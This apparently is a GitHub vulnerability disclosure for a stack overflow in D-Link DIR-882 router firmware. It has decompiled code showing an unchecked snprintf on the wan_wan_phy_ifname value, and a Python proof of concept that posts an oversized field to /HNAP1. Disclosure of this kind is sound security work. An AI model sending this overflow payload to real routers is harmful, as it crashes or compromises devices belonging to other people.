

RobinWang825 / IoT\_vuln Public

- Code
- Issues 1
- Pull requests
- Actions
- Projects
- Security
- Insights

main

IoT\_vuln/D-Link/DIR-882/4/

wangshi
...
Nov 2, 2022
..
images
Nov 2, 2022
readme.md
Nov 2, 2022

adme.md

# D-Link DIR-882(1.10B02, 1.20B06) has a Stack Overflow Vulnerability

## Product

- product information: <http://support.dlink.com.cn:9000/ProductInfo.aspx?m=DIR-882>
- firmware download: <http://support.dlink.com.cn:9000/download.ashx?file=6573>

## Affected version

1.10B02, 1.20B06

## Vulnerability

```

79 serviceApplyAction(v18, 5u, (int)"stop_vlanwanall");
80 v29 = webGetVarString(a1, (int)"/SetVLANSettings/PriorityEnabled");
81 v37 = (const char *)nvram_safe_get("wan_wan_phy_ifname");
82 v35 = webGetVarString(a1, (int)"/SetVLANSettings/ISPName");
83 nvram_safe_set("ISPName", v35);
84 if ( !strcmp(v19, "true") )
85 {
86     nvram_safe_set("WANWANPHYIFNAME", v37);

```

In sub\_46D180 function, wan\_wan\_phy\_ifname is controllable and will be passed into the v37 . Then, v37 will be spliced into v50 by snprintf . It is worth noting that there is no size check, which leads to a stack overflow vulnerability.

```

206     if ( !strcmp(v37, v47) )
207     {
208         if ( atoi(v20) )
209             snprintf(v50, v36, "%s %s.%s", v50, v37, v20);
210         else
211             snprintf(v50, v36, "%s %s", v50, v37);
212         if ( atoi(v21) )
213             snprintf(v50, v36, "%s %s.%s", v50, v37, v21);
214         else
215             snprintf(v50, v36, "%s %s", v50, v37);
216         if ( atoi(v22) )
217             snprintf(v50, v36, "%s %s.%s", v50, v37, v22);
218         else
219             snprintf(v50, v36, "%s %s", v50, v37);
220     }
221     else
222     {

```

**PoC**

```
import socket
import os

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

ip = '192.168.0.1'
port = 80

r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

r.connect((ip, port))

rn = b'\r\n'

p1 = b'a' * 0x3000
p2 = b'wan_wan_phy_ifname=' + p1

p3 = b"POST /HNAP1" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + rn
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: curShow=; ac_login_info=password; test=A; password=1111" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) + rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2

r.send(p3)

response = r.recv(4096)
response = response.decode()
li(response)
```

